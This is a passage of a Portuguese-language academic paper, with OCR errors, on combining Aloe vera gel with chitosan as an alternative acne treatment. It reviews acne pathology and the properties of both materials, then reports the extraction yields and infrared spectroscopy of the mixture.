larmente conhecidas e cientificamente comprovadas. O biopolimero quitosana, por sua vez, apresenta excelen-
te biocompatibilidade e pode ser utilizado na drea de liberacao de farmacos e ativos cosméticos. Este trabalho
teve como objetivo a incorporacao do Aloe vera 3 quitosana a fim de potencializar suas acdes farmacoldgicas
no auxilio ao tratamento alternativo. Para tal, fez-se a incorporacao dos insumos mediante a formacdo de um
gel, cujo preparo deu-se através da extracdo do parénquima de reserva da Aloe vera, sua respectiva agitacao
em temperatura ambiente e posterior incorporacao a solucdo filtrada de quitosana. Fazendo-se a comparacao
das andlises de espectroscopia de infravermelho das amostras da fracao polissacaridica da Aloe vers, da quito-
sana pura e da mistura, foi possivel observar, nesta tltima, bandas de hidroxila de ambas estruturas quimicas
e as bandas caracteristicas de aminas e grupo 2-propanona, correspondentes respectivamente a quitosana e a
Aloe vera. Provavelmente houvera interacao intermolecular entre estas, mas ha a necessidade de fazer outras
andlises bem como a otimizacao na metodologia de formagao do gel.

Palavras-chave: Aloe vera. Quitosana. Gel. Tratamento alternativo.

ABSTRACT

Acne is a skin disease whose symptoms, in short, are the sebaceous glands’s dysfunction, the involvement of
the follicles and inflammatory lesions. Dermatological properties of Aloe vera, aka Aloe, are popularly known
and scientifically proven. The chitosan biopolymer, in turn, has excellent biocompatibility and can be used in the
release area of pharmaceuticals and cosmetic actives. This study aimed to the incorporation of Aloe Vera to the
chitosan to enhance their pharmacological actions in helping to alternative treatment. To this end, there was
the incorporation of inputs by forming a gel, whose preparation took place by extracting the reserve parenchy-
ma of the Aloe Vera plant, their respective agitation at room temperature and subsequent incorporation into
the filtered chitosan solution. Making a comparison of analysis by infrared spectroscopy of the polysaccharide
fraction of Aloe vera, pure chitosan and the mixture was observed, in the latter, hydroxyl bands of both che-
mical structures and characteristic bands of amines and group 2-propanone corresponding respectively to the
chitosan and Aloe vera. Probably there had intermolecular interaction between them, therefore it is necessary
further analyzes and gel training methodology’s optimization.

Keywords: Aloe vera. Chitosan. Gel. Alternative treatment.




INTRODUCAO

Mediante a unido de saberes populares e conhecimentos cientificos, o presente traba-
Iho versa sobre as possibilidades de auxiliar no tratamento da acne vulgar de forma alternativa
e fitoterapica combatendo suas principais sintomatologias; para tanto, estudou-se o processo
de formacéao da acne vulgar, as propriedades farmacoldgicas da Aloe vera e da quitosana,
bem como suas respectivas estruturas, ao passo que se verificou, por revisao bibliografica e
experimentalmente, o comportamento da mistura associado a possivel interacao quimica entre
tais insumos.

O estado de saude, idade e diversos outros aspectos da vida estao refletidos na con-
dicao da pele e, clinicamente, sua aparéncia € importante na diagnose de muitas patologias
(DYSON; BANNISTER, 1995).

Para o entendimento da pele associada a acne, é util distinguir entre as duas principais
classes de pele cujas propriedades e estruturas séo divergentes: a pele fina e pilosa (hirsuta),
que reveste a maior parte do corpo; e a pele espessa, sem pelos, chamada de pele glabra, que
se faz presente nas superficies das palmas das maos, planta dos pés, etc (DYSON; BANNIS-
TER, 1995; RAMOS-E-SILVA; CASTRO, 2010).

Como subentendido por seus nomes, elas diferem tanto em relagao a espessura quanto

a presenca de pelos, sendo que na pilosa ha anexos cutaneos associados a formacao da acne

vulgar; sao eles: o foliculo piloso e a glandula sebacea, ambos constituintes da unidade pilog-
sebacea (DYSON; BANNISTER, 1995; RAMOS-E-SILVA; CASTRO, 2010; VANZIN; CAMARGO,
2011), (ilustrada na Figura 1).




Gléndula /

sebacea

Poro
sudoripare

Camada cornea

{queratinizada)

{ Tecido subcutineo
~ (adiposo)

Foliculo
piloso

Figura 1: Unidade pilossebacea e seus principais constituintes.
Fonte: Adaptado de RAMOS-E-SILVA, 2010.
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Cada um destes, as suas maneiras, contribui com o
equilibrio homeostatico cuja manutencao pode ser desajusta-
da por diversas patologias, como a acne vulgar, por exemplo
(MARIEB; HOEN, 2009).

Os foliculos pilosos sao uma espécie de invaginagao
tubular responsaveis por acomodar a raiz do pelo (foli = bol-
sa) (DYSON; BANNISTER, 1995; RAMOS-E-SILVA; CASTRO,
2010; VANZIN; CAMARGO, 2011). Estendem-se da superficie
epidérmica até a derme onde apicalmente recebem os duc-
tos das glandulas sebaceas- pequenas estruturas saciformes
cujas presencas sao concomitantes as dos foliculos pilosos
(DYSON; BANNISTER, 1995; RAMOS-E-SILVA; CASTRO, 2010;
MARIEB; HOEN, 2009).

As glandulas sebaceas sao responsaveis por secretar
uma substéancia de carater oleoso, denominada sebo, sobre
a superficie da pele e dos pelos (DYSON; BANNISTER, 1995;
RAMOS-E-SILVA; CASTRO, 2011; VANZIN; CAMARGO, 2011;
MARIEB; HOEN, 2009) tendo como estimulo hormoénios andrg-
génicos cujas disfungoes, a priori porem nao exclusivamepte,
acarretam no estagio inicial de formacao da acne vulgar

MOS-E-SILVA; CASTRO, 2010; VANZIN; CAMARGO, 20111).




A acne vulgar é definida como uma dermatose genético-hormonal, multifatorial que aco-
mete a unidade pilossebacea (RAMOS-E-SILVA; CASTRO, 2010; VANZIN; CAMARGO, 2011).
Destarte, percebe-se que no processo de formacéao da acne vulgar ha o desequilibrio home-
ostatico das glandulas sebaceas (MARIEB; HOEN, 2009), ou seja, ocorre a desestabilizacao, a
disfuncao das glandulas sebaceas.

A manutencao do equilibrio do organismo — recordando, a homeostase — € demasiada
dependente da liberacao regular de hormonios dentre os quais tém-se os androgénios (VAN-
ZIN; CAMARGO, 2011; MARIEB; HOEN, 2009; HALL, 2011) em que se destacam a testosterona
e a di-hidrotestosterona. O mecanismo intracelular basico de acao da primeira, majoritariamen-
te, da-se minutos apos a sua secrecao e posterior ingresso as células prostaticas. Momento em
que, principalmente, é convertida em DHT sob a influéncia da enzima catalisadora 5-C-reduta-
se. O destino de ligacao da DHT sao as células-alvo de forma a auxiliar o desenvolvimento Os-
seo, muscular, da libido, etc., mas que, se entrar em contato com células sebaceas, pode gerar
o0 aumento de tamanho da glandula, aceleracéo na producao de sebo e consequente hiper-
plasia sebacea (RAMOS-E-SILVA; CASTRO, 2010; VANZIN; CAMARGO, 2011; HALL, 2011).

Aliado a hiperplasia sebacea, a elevada taxa de liberagao hormonal caracteristica da pu-
berdade e adolescéncia masculina, consiste no aumento da espessura da pele e enrijecimento de
tecidos subcutaneos devido a hiperqueratinizagao epitelial ao passo que se potencializa o desep-
volvimento da acne (RAMOS-E-SILVA; CASTRO, 2010; VANZIN; CAMARGO, 2011; HALL, 201).

O excesso de sebo, composto de lipideos, acidos graxos, ésteres, esqualeno e cples-
terol (RAMOS-E-SILVA; CASTRO, 2010; VANZIN; CAMARGO, 2011; MURRAY et al, 2014), traz
consigo outro fator agravante: a proliferacao bacteriana (RAMOS-E-SILVA; CASTRO, 2010).




A flora cutanea é naturalmente constituida de uma triade de cocos aerobios, leveduras
e organismos anaerobios difterdides. Dos Ultimos, destaca-se a Propionibacterium acnes (RA-
MOS-E-SILVA; CASTRO, 2010; MURRAY et al, 2014).

A P. acnes se alimenta do carbono presente na substancia oleosa, quando secretada
em excesso pelas glandulas sebaceas, de forma que o sebo € convertido em acidos gra-
xos livres irritantes ao epitélio e, inclusive, comedogénicos (VANZIN; CAMARGO, 2011; HALL,
2011; MURRAY et al, 2014). A partir dai forma-se o microcomedado (RAMOS-E-SILVA; CASTRO,
2010; VANZIN; CAMARGO, 2011) que evolui e se diferencia em comedao aberto ou comedao
fechado: se 0 comedao se romper, expondo o sebo, forma-se o comedéao aberto, vulgo cravo
preto, no qual o material tem coloracéo escura devido a sua oxidagao. Irrompido, continua-se
a proliferagao bacteriana levando as lesdes acneicas como papulas, pustulas, nodulos, cistos
(RAMOS-E-SILVA; CASTRO, 2010; VANZIN; CAMARGO, 2011) acarretando na liberacao de en-
zimas hidroliticas (lipases, proteases, hialuronidases) que intensificam as respostas imunes do
organismo caracterizadas pelo rubor, calor e dor da regiao (RAMOS-E-SILVA; CASTRO, 2010)
(sintomas da inflamacao); de sorte que, posteriormente, ha-se regeneracao epitelial.

Portanto, conforme ilustrado no fluxograma na Figura 2, diz-se que o processo mais

comum de formacao da acne vulgar € iniciado pela conversao da testosterona em di-hidrotes-

tosterona sob influéncia da acao da enzima catalisadora 5-0-redutase, ao passo que o horm@-
nio mais ativo, se em contato com células das glandulas sebaceas, aumentam o tamanho das

mesmas intensificando a produgao e liberagédo de sebo.
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Figura 2: Processo de desenvolvimento da acne vulgar em fluxograma.
Fonte: Adaptado de VANZIN e CAMARGO, 2011.

Anelado a hiperplasia sebacea, ha a hiperqueratinizacao epitelial a qual obstrui os folf
culos. O excesso de sebo € entao consumido pela P. acnes implicando na sua proliferac
formacao do estagio inicial do microcomedao que, se irrompido, leva as lesdes acneicas fnais

graves e ao quadro de inflamacao.




As quatro principais sintomatologias estao colocadas na Tabela 1, correlacionando-as

a estratégia de tratamento.

Tabela 1: Sintomatologias e estratégias de tratamento da acne vulgar

Sintomatologia Estratégias de tratamento

Oleosidade excessiva da pele Uso de substancias normalizadoras da secrecao sebacea. Ativos que inibem a acao da enzima
5-Cl-redutase

Hiperqueratose folicular Uso de substéancias esfoliantes que desobstruam os foliculos e retomem a uniformidade do
estrato corneo

Proliferacao de bactérias Ativos naturais que funcionam como antibacterianos; acidos organicos suaves

Processo inflamatério Substancias anti-inflamatérias que diminuam o eritema e dor do paciente

Fonte: Adaptado de VANZIN e CAMARGO, 2011

2 Aloe vera E uma planta perene, resistente a baixas umidades, de folhas suculentas e predomi-
nantemente de clima tropical e subtropical (GONCALVES, 2008; CAMPESTRINI, 2007; SILVA,

2011). Conhecida popularmente no Brasil como Babosa, vegeta geralmente em locais ensola-
rados, rochosos ou pedregosos apresentando folhas dispostas em roseta cujos comprimentgs
meédios variam de 50 a 60 cm por 6 a 9 cm de largura e 3 cm de espessura na base (CAM-
PESTRINI, 2007). Aloe vera € sinonimia cientifica da Aloe barbadensis Miller a qual perterice a
familia Asphodelaceae, considerada familia satélite das Lilaceae, (GONCALVES, 2008; CAM-

PESTRINI, 2007) e seu uso remonta a historia de grandes personagens de mais de dois mil e
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quinhentos anos atras, como as rainhas Nefertiti (1353 a.C.) e Cleopatra VII (69-30 a.C.) cujos
cuidados médicos e estéticos eram a base desta planta.

A planta Aloe Vera é dividida em duas estruturas: Parénquima de reserva e Parénquima

clorofiliano, conforme mostrado na Figura 3.

parénquima
clorofiliano
parénquima de
. reserva

Figura 3: Diferenciagdo das duas estruturas constituintes da Aloe vera.
Fonte: GONCALVES, 2008

O parénquima clorofiliano é caracterizado pela presenca do latex e tem na sua compo-

sicao, sobretudo, antraquinonas. O parénquima de reserva é constituido pelo gel mucilaginoso
derivado do parénquima foliar, composto basicamente de agua e polissacarideos (GONCAL-
VES, 2008; CAMPESTRINI, 2007).

Devido a alta porcentagem de agua presente no parénquima de reserva desta angjos-
perma-, cerca de 99,5% - a planta apresenta resisténcia a climas secos e regides pedregosa.
Dos remanescentes solidos do parénquima tissular em torno de 60% séo polissacaridegs, 0s

quais sao sintetizados por enzimas presentes nas membranas de uma organela citoplasmati-
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Figura 4: a) Estrutura da acemanana. b) Diferenca estrutural dos ligantes em que consiste a
acemanana.
Fonte: Adaptado de CAMPESTRINI, 2007.
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ca denominada de Complexo de Golgi (GONCALVES, 2008;
CAMPESTRINI, 2007; SILVA, 2011). Os polissacarideos sin-
tetizados sao transportados por vesiculas minusculas até a
membrana plasmatica com a qual se fusionam e liberam mi-
crofibrilas de celulose que séo implantadas em uma matriz al-
tamente hidratada, na regiao da parede celular que, por sua
vez, é formada por proteinas de dois grupos principais de po-
lissacarideos (GONCALVES, 2008; SILVA, 2011). Um destes
sdo as hemiceluloses as quais consistem em polissacarideos
flexiveis e sao compostas especialmente de glicomananas:
classificadas como polissacarideos de reserva da parede ce-

lular (GONCALVES, 2008; CAMPESTRINI, 2007; SILVA, 2011).

Destas, destaca-se a acemanana: polimero misto de mananas
acetiladas com cadeias de tamanhos variaveis formadas por

residuos de manose e glucose unidos por ligacoes do tipo

B — (1 - 4)(MANNA, 1993). Em média, cada manose possuli
um grupamento acetil em cada uma das trés posicoes do anel,
caracteristica que corrobora para a denominacao acemanana
(VAZQUEZ et al, 1996). Na Figura 4a apresenta-se a estru
da acemanana e em 4b a diferenga estrutural dos ligantes em

que consiste a acemanana.



A acemanana trata-se, portanto, de um constituinte de hemiceluloses as quais se fazem
presentes na matriz de polioses associadas a celulose da parede celular (GONCALVES, 2008;
CAMPESTRINI, 2007; SILVA, 2011).

Como fora adiantado, as aplicagdes de cunho medicinal e cosmeético da Babosa séao de-
veras antigas e cultivadas por diversos povos. A despeito da sintomatologia da acne mostrada na
Tabela 1, percebe-se que ha proliferagao bacteriana, inflamacao e lesdes no epitélio, ao passo
que propriedades antibacterianas, anti-inflamatorias e cicatrizantes sao essenciais ao tratamento.

Substancias presentes no Parénquima de reserva da Aloe vera apresentam boa ativida-
de contra bactérias de natureza gram-positiva (ALEMDAR, 2009; BASAL, 2003) dentre elas a
Staphylococcus Aureus e Candida Albicans, especialmente correlacionando-as a acemanana
(BASAL, 2003). Correspondente a acne vulgar, entretanto, faz-se presente a Propionibacterium
acnes que, por sorte, € tambéem Gram-positiva. A P. acnes € uma bactéria comedogénica que
induz leucocitos polimorfonucleares e macrofagos a produzirem mediadores pro-inflamatorios
levando a lesdes inflamatorias (DEVLIN; MICHELACCI, 2007). Tais organismos produzem fatores
que atraem neutrofilos a liberarem espécies reativas ao oxigénio e enzimas lisossémicas, resul-
tando no rompimento da integridade do foliculo epitelial (DEVLIN; MICHELACCI, 2007). Porém,
segundo o trabalho de Basal e Jain (2003), o extrato do Parénquima de reserva da planta Aloe
vera nao demonstrou qualquer atividade significativa contra os mediadores inflamatorios produzi-
dos em culturas estimuladas de P. acnes, afirmando-se, pois, que as atividades anti-inflamatofias
nao se referem a supressao de citocinas pro-inflamatorias nem a limpeza de radicais de oxiggnio,
e sim a inibicdo de mediadores inflamatorios como as prostaglandinas (BASAL, 2003; DEVLIN;

MICHELACCI, 2007).




As reacgodes inflamatorias sdo respostas imunes do organismo a lesdes de diversas ori-
gens, com a finalidade de proteger-se; no entanto, quando as substancias sao liberadas exa-

cerbadamente causam destruicao tecidual. A inflamagao caracteriza-se pela vasodilatagao,

rubor, calor e dor (VANZIN; CAMARGO, 2011) e é tratada de forma a bloquear a produgéo e
liberagao de mediadores inflamatorios, principalmente as prostaglandinas, mediante a inibicao
irreversivel da ciclooxigenase (STRYER, 1996). VAZQUEZ et al (1996) provou em seus estudos
que o “extrato aquoso” (parénquima de reserva) claramente inibiu a conversdo do acido ara-
quidonico em prostaglandinas, sugerindo a existéncia de propriedades inibitorias do compo-
nente ciclooxigenase da prostaglandina sintetase na planta Aloe vera, semelhante ao que se
observa no comportamento do acido acetilsalicilico (medicamento comumente utilizado para

dor de cabega ou sintomas inflamatérios). O AAS funciona basicamente bloqueando a primeira

etapa da sintese de prostaglandinas pois acetila a enzima componente ciclooxigenase da
prostaglandina sintetase, inativando-a (STRYER, 1996). Ora, recordando a estrutura quimica
da acemanana, vé-se que nas cadeias de D-manose ha grupamentos acetis, corroborando

com a funcionalidade semelhante a do AAS.

Em lesbes acneicas mais graves, o tratamento envolve também a resposta coletiva da
pele a injuria, chamada de cicatrizacao do ferimento, onde estéo envolvidos a reparagao dér-
mica e a reparagéo do epitélio (DYSON; BANNISTER, 1995; RAMOS-E-SILVA; CASTRO, 201
Em suma, os efeitos cicatrizantes da Aloe vera devem-se a ativacao de macréfagos na pr
cao de citocinas cujo acumulo no sangue proporciona o aumento significativo da producgo de
fibroblastos os quais sintetizam acido hialurénico, principal constituinte das fibras de coldgeno

(PIAIA, 2014; TIZARD; ZHANG, 1996; KARACA et al, 1995).
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QUltosa Na A quitosana ¢ um biopolissacarideo derivado da quitina que, por sua vez, é o segun-
do polissacarideo mais abundante que se tem documentado (DIAS et al, 2013). A quitina se
faz presente, principalmente, no exoesqueleto de artropodes (especialmente nos crustaceos)

(STORER; USINGER, 1978; SILVA et al, 2008).

A quitosana € obtida mediante a desacetilacao em alcalis da quitina a temperaturas
médias de 55 a 60 °C (SILVA et al, 2008; GONSALVES et al, 2011). Na estrutura da quitina,
conforme a Figura 5, ha o grupo acetamido (NHCOCHs) e para obtencao da quitosana faz-se a
reacdo deste com substancias alcalinas (hidroxido de potassio ou de sédio), ao passo que da
a quitosana um carater catiénico, caracteristica muito peculiar dentre os demais biopolimeros

naturais (SILVA et al, 2008; GONSALVES et al, 2011) e de grande importancia neste trabalho.
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Quitosana: B = H (GIcN) ou COCH 3 (GleNAC)

Figura 5: a) Estruturas da quitina e da quitosana; b) Comparagéo dos diferentes grupos que se ligam as cadeias/de
quitina e quitosana.
Fonte: adaptado de (SILVA et al, 2006; GONSALVES et al, 2011)




ApOs a sua obtencao, a estrutura nao € absolutamente desacetilada, pois as possibi-
lidades de degradacao do material aumentam conforme o grau de desacetilagdo (GONSAL-
VES et al, 2011) e, desta forma, define-se a quitosana como um heteropolissacarideo, ja que
intercala grupos acetamido — da quitina-, com grupos amino (NH2) ligados aos anéis D-glico-
piranose (SILVA et al, 2008; GONSALVES et al, 2011). Quimicamente, portanto, a quitosana se
apresenta na forma de um polimero composto por unidades estruturais de 2-amino-2-desoxi-
-D-glicopiranose e 2-acetamido-2-desoxi-D-glicopiranose, correspondentes, respectivamente,
as cadeias desacetiladas e as ndo desacetiladas (GONSALVES et al, 2011). O grau de desace-
tilagdo é demasiado importante pois as propriedades fisico-quimicas (solubilidade em acidos
organicos), farmacologicas (antibacteriana), biomédicas (carreador de farmacos), entre outras,
dependem de que tal fator atinja 60% ou mais de pureza (SILVA et al, 2008).

A propriedade imunoestimulante se deve a capacidade dos oligbmeros de quitina e
quitosana de baixa massa molar de ativarem quase que exclusivamente os macrofagos na
liberacao da interleucina-1, que estimula a proliferacao de fibroblastos, os quais biossintetizam
acido hialurénico — composto das fibras de colageno. Liberam, também, N-acetilglicosaminida-
se, que hidrolisa a quitosana a mondmeros de N-acetilglicosamina e glicosamina, unidades de
aclcares necessarias a biossintese do acido hialurénico pelos fibroblastos (SILVA et al, 2008).

N-acetilglicosamina € o maior componente do epitélio e sua presenca € essencial
reparacao tecidual das feridas. Quitina e quitosana sao facilmente despolimerizadas pela ljso-
zima presente naturalmente no fluido da lesao e, conforme a Figura 6, funcionam como fgntes
de liberacao retardada de mondmeros N-acetilglicosamina no processo de cicatrizacao (

et al, 2008).
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Figura 6: Mecanismo de cicatrizagéo estimulado pela quitosana.
Fonte: SILVA et al, 2006

Quanto aos efeitos antibacterianos, a quitosana € dependente da massa molecular e
da natureza da bactéria: conforme SILVA et al (2006) afirmou em seu trabalho, foi demonstra-

do que “a atividade antimicrobiana contra bactérias gram-positivas aumenta quanto maior a

massa molecular do polimero, enquanto que, para bactérias gram-negativas, quanto menor a
massa molecular da quitosana, maior a atividade antimicrobiana”. ESCOBEDO-LAZANO et al
(2015) concluiu da mesma forma no estudo comparativo dos efeitos antimicrobianos em rela-
¢ao a Staphylococcus aureus (gram-positiva), e & Escherichia coli (gram-negativa).
Conquanto evidenciou-se o comportamento inibitorio da quitosana contra o cresci

to da S. aureus, quando a atividade antibacteriana da quitosana foi testada contra a
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de E. coli, sob doses idénticas aquelas testadas em S. aureus, a inibicao do crescimento foi
praticamente nula (ESCOBEDO-LAZANO et al, 2011).

Este comportamento ambiguo é atribuido as diferencas estruturais das bactérias. En-
quanto na S. aureus a parede celular externa consiste em peptidoglican (N-acetil-2-D-glico-
samina, -1,4- ligado com N-acetil acido muramico), a E. coli apresenta um revestimento inter-
no adicional em sua parede celular composto de lipopolissacarideos (ESCOBEDO-LAZANO
etal, 2011).

Tal diferenca dos efeitos da quitosana implica em dois casos; segundo SILVA et al
(2006) e ESCOBEDO-LAZANO et al (2015): nas bactérias gram-positivas, a hipotese & que
quitosana de alta massa molecular forma peliculas ao redor da célula que acabam por inibir
a absorcao de nutrientes, enquanto que quitosana de baixa massa molecular penetra mais e
facilmente em bactérias gram-negativas, causando disturbios no metabolismo desses micror-

ganismos.

4.1 EXTRACAO DA FRACAO POLISSACARIDICA DA ALOE VERA

A fim de avaliar o rendimento e a estrutura da fragao polissacaridica — correspondente/a
aproximadamente 60% dos remanescentes solidos— da Aloe vera, fez-se a extracdo da megma

segundo a metodologia de GONCALVES (2008), conforme a Figura 7.
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Figura 7: Processo de extragdo da fragdo polissacaridica da Aloe vera.
Fonte: Autor. Adaptado de GONCALVES, 2008.

Destarte, selecionou-se trés folhas de Aloe vera seguindo um processo em triplicata.
Conseguintemente, isolou-se 0 parénquima de reserva da planta o qual foi acondicionado em

uma solugéo alcoolica (alcool etilico 92,8°) com agua destilada 1:1. O gel foi entao filtrado sob

vacuo utilizando-se um funil Bichner e um Kitassato. Os remanescentes solidos permanentes
foram retirados do funil e colocados em repouso numa solucao alcoolica com agua destilada
85% (v/v) por 24 horas, em temperatura ambiente, a fim de decantar resquicios de impurezag.

Enfim, levou-se as amostras a estufa para secagem e posteriores analises.
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4.2 INCORPORACAO DO GEL DA ALOE VERA A QUITOSANA

Seguindo a ideia central do trabalho de unir saberes populares e conhecimentos cien-

tificos, a incorporagao dos insumos deu-se da forma mais simples quanto era possivel. Com o

minimo de processamento para o parénquima de reserva da Aloe vera e a necessaria solubili-
zacao da quitosana em acido organico (acido acético, neste caso).

Conforme a Figura 8, primeiramente selecionou-se as folhas de Babosa e se quantificou
a massa de quitosana pura de baixo peso molecular. A medida que esta Gltima era solubilizada
e posteriormente filtrada, fez-se a extragao do extrato mucilaginoso (parénquima de reserva) da
planta e, a fim de evitar sua oxidagao, logo o insumo foi colocado sob agitagao a temperatura

ambiente e a solugédo de quitosana, ja filtrada, foi adicionada.

Enquanto
filtra.se

Secagem em
estufa a 60 °C

Figura 8: Incorporagédo da solugdo de Quitosana ao parénquima de reserva isolado da Aloe vera.
Fonte: Autor
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Apbs realizada a mistura, o pH foi corrigido para 6,5 mediante a adicéo lenta e contro-
lada de hidroxido de sodio para que outras propriedades fisico-quimicas nao alterassem. Por

fim, a mistura foi seca em estufa e submetida a analise de Espectroscopia de Infravermelho.

4.3 ANALISES

Rendimento- Feita somente para as fragoes polissacaridicas (F.Ps). O peso seco do
insumo foi utilizado para fins de calculo de rendimento de extracao, considerando para tal a

relacdo dos valores de massa do insumo e massa de gel (extrato do parénquima de reserva).

RENDIMENTO (%) = 100 x m /m, Eq (1)

Em que: m, (massa do insumo farmacéutico) e m, (massa do gel).

Espectroscopia de infravermelho — Os espectros de infravermelho foram obtidos pelo

equipamento Spectrum Two, da Perkin Elmer, com acessorio Universal ATR (UATR) na faixa

de varredura de 450 a 4000 cm™. Utilizando esse equipamento, nessa faixa de varredura, foi
possivel obter bandas correspondentes aos compostos quimicos que estavam presentes nas

amostras de Aloe Vera, quitosana e da mistura.



Resultados e
iSCussao

5.1 ANALISE FiSICO-QUIMICA DA EXTRACAO

A selegao das folhas de Aloe vera levou em consideracao a busca pelos tamanhos mais
semelhantes possiveis de forma a encontrarmos valores aproximados de rendimento.

Os resultados da extragdo da Fragéo Polissacaridica da Aloe vera foram semelhantes
ao do trabalho usado na metodologia da GONCALVES (2008). Com excecado da Folha nu-
mero 1 (Fﬂ), cujo rendimento foi abaixo do esperado, provavelmente devido a algum erro no
processo, os resultados de rendimento da Folha numero 2 (FZ) e da Folha numero 3 (Fs) estéo
proximos aos encontrados no trabalho da autora supracitada. Mesmo sendo resultados satisfa-
torios, demonstram que a Fragao Polissacaridica da Aloe vera (na qual esta contida o principal
insumo farmacologico, a acemanana) é quantitativamente insignificante: constitui menos de 1%
do total de solidos, com massa menor que 0,05 gramas.

Tabela 2: Comprimento das folhas (cm), massa do parénquima de reserva (g), massa da fragao polissacaridica (g),
rendimento da F.P (%).

Amostra Comprimento da Folha (cm) Massa do Parénquima de Mgssa dalFragéo Rendimento da
(Folha) Reserva (g) Polissacaridica (g) F.P (%)

F1 31 18,9753 0,0092 0,0480

F2 32 12,3437 0,0162 0,1312

F 35 21,2135 0,0330 0,1555

Fonte: Dados do autor. Adaptado de GONCALVES, 2008.




Ressalta-se que questdes técnicas das quais a massa da Fracao Polissacaridica € de-
pendente, como sazonalidade, pluviometria e irradiacéo, nao foram levadas em consideracao.

Sabe-se, também, que em farmacos e cosmeéticos as concentracoes de oleo de Aloe
vera sao, em meédia, na faixa de 2 a 5%, contribuindo a interpretacéo de que o baixo rendimen-
to nao interfere fortemente nas suas propriedades farmacologicas.

Para a analise de infravermelho, a amostra selecionada foi a F.Pa(Fragéo Polissacaridi-

ca da Folha numero 3) devido ao melhor rendimento.

5.2 ANALISE DAS ESPECTROSCOPIAS DE INFRAVERMELHO

Tal analise instrumental nos permite verificar os grupamentos principais de certos com-

postos quimicos obrigatoriamente tendo suas cadeias formadas por ligacdes covalentes, pois

sao justamente as vibracoes destas ligacdes que o equipamento € capaz de detectar. Foram
realizadas analises de trés amostras: fracao polissacaridica da Folha numero 3 de Aloe vera,
quitosana pura e o material incorporado, a fim de observar as estruturas, separadamente, da

Aloe vera e da quitosana e, mediante a comparagao de seus espectros com o espectro da

mistura, verificar se houvera uma possivel interagao intermolecular.
FRACAO POLISSACARIDICA DA ALOE VERA

Recordando, a fracéo polissacaridica corresponde a aproximadamente 60% de todos
0s remanescentes solidos da planta, ao passo que o composto majoritario disposto indiyidu-
almente dentro desta “rede de carboidratos” € a acemanana, cuja estrutura esta colocaga na

Figura 9b.



A acemanana consiste em trés principais grupos organicos: o grupo 2-propanona, ou
carbonila do acetil, (circulado em verde), alcoois primarios (circulado em vermelho) e éter cicli-
cos (circulados em amarelo) (CAMPESTRINI, 2007). No espectro da fragéo polissacaridica (Fi-
gura 9a) destacam-se, justamente, estas trés bandas as quais correspondem aos grupamentos
presentes na estrutura quimica da acemanana: carbonila do acetilem 1735 cm™, éter etilico em
1240 cm™ e a ligac&o carbono-oxigénio dos alcoois primarios em 1022 cm™ que corrobora com

o encontrado pelo autor CAMPESTRINI (2007).
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Figura 9: a) Espectro de infravermelho da FP3. b) Estrutura da acemanana com os grupos funcionais referentes as
bandas da espectroscopia de infravermelho.
Fonte: Autor

Contudo, a banda ndo destacada em 1601 cm™, mostra que ha outros elementos pre-

sentes na amostra que nao constam na estrutura da acemanana. Tal banda corresponde a



deformagdo de amidas primarias secundarias, as quais compdem a parcela proteica da fracao
polissacaridica da Aloe vera (GONCALVES, 2008), corroborando com a informagdo de que a

acemanana é o composto majoritario, logo ndo o unico, da fragao polissacaridica.
QUITOSANA PURA

O espectro de infravermelho da quitosana € apresentado na Figura 10a. A quitosana
se trata de um heteropolissacarideo em que se intercalam unidades estruturais de 2-amino-
-2-desoxi-D-glicopiranose e 2-acetamido-2-desoxi-D-glicopiranose. Nestas cadeias, 0s grupa-
mentos destacados (Figura 10b) sdo: aminas primarias (circulado em azul), éteres ciclicos (cir-
culados em amarelo), etanamida, ou grupo acetamida, (circulada em verde-musgo) e alcoois

primarios (circulado em vermelho).
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Figura 10: a) Espectro de infravermelho da quitosana. b) Estrutura da quitosana com os grupos funcionais refefentes
as bandas da espectroscopia de infravermelho.
Fonte: Autor
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No espectro da quitosana, ha o duplete em 3300 cm’’
e 1550 cm™ caracteristico de aminas primarias, assim como
aparece a banda de 1650 cm™' referente & carbonila associa-

da a amida (SANTOS et al, 2003) o que nos mostra que a

quitosana nao e totalmente desacetilada, pois ha a presenca
p-0=% L A . do grupo acetamida.
- i As bandas em 1150 cm™ e 1020 cm™ assinalam, res-
pectivamente, a presenca de éter etilico e alcoois primarios
na estrutura da amostra, confirmando-a como uma estrutura

polissacaridica (SANTOS et al, 2003).

MATERIAL INCORPORADO

Analisando-se os trés espectros (Figura 11) fica evi-

dente o estiramento e deslocamento de bandas caracteris-

ticas da quitosana e da Aloe vera, levando a mudancas na

Figura 11: Espectroscopia comparativa dispostas de cima para baixo, respectivamente, da
quitosana (em preto), da Aloe vera (em azul) e da mistura (em rosa).

largura média a meia altura e posicao da banda, ao passo
Fonte: Autor que se pode afirmar uma possivel interagdo intermolecular
na mistura.

Observa-se que a banda referente a deformagao an-
gular da amina primaria, na estrutura da quitosana, sofrey um
deslocamento de 1561,2 cm” para 1550,2 cm’, sugerindo

uma diminuicao da energia de vibracao das moléculas pro-
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vavelmente devido a interagbes com a estrutura da fragcdo polissacaridica da Aloe vera, cujo
grupo funcional caracteristico carbonila do acetil, correspondente & regido 1742,2 cm™, sofreu
deslocamento para regido de 1686,8 cm™, também fortalecendo a ideia de que houve intera-
¢ao intermolecular, pois a energia de vibragao molecular diminuiu. As bandas proximas a 1200
cm™ e 1020 cm™, nos trés espectros, correspondem respectivamente ao éter etilico e ao alcool
primario, identidades de polissacarideos, sendo que especialmente para os alcoois houvera a
manutencao da regido espectral (entre 1018 cm” e 1025,8 cm’1) e sua intensidade ficou com
valor intermediario (65,045 %T) no espectro da mistura, em relagéo as estruturas de quitosana

(38,808 %T) e da Aloe vera (78,248 %T).

A fim de otimizar o produto final e comprovar suas propriedades farmacologicas seriam
necessarias pelo menos trés mudancas na metodologia bem como a realizacao de analises
citotoxicologicas.

Em primeiro lugar, somente com os insumos utilizados neste trabalho enfrentar-se-iam
sérios problemas na questao do rendimento do material. Desta forma, deveria ser adicionado a
formulagao um veiculo para os farmacos quitosana e Aloe vera.

Em segundo, visto que na preparacao do material incorporado foi notéria a alteracao de
coloracao da mistura apos a adigdo do agente neutralizante (hidréxido de sodio), do tom esyer-
deado para o tom roseo, indicando algum tipo de alteragao estrutural nao desejada a megdida
que o pH foi ajustado, seria necessario a troca do agente por outro mais adequado como, por

exemplo, a trietanolamina.
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E, por ultimo, especulara-se a oportunidade de melhorar a eficacia do produto em rela-
¢ao a sintomatologia da acne vulgar. Como foi dito, a quitosana apresenta efeitos antibacteria-
nos e cicatrizantes, assim como a Aloe vera, a qual ainda tem excelente efeito anti-inflamatorio;
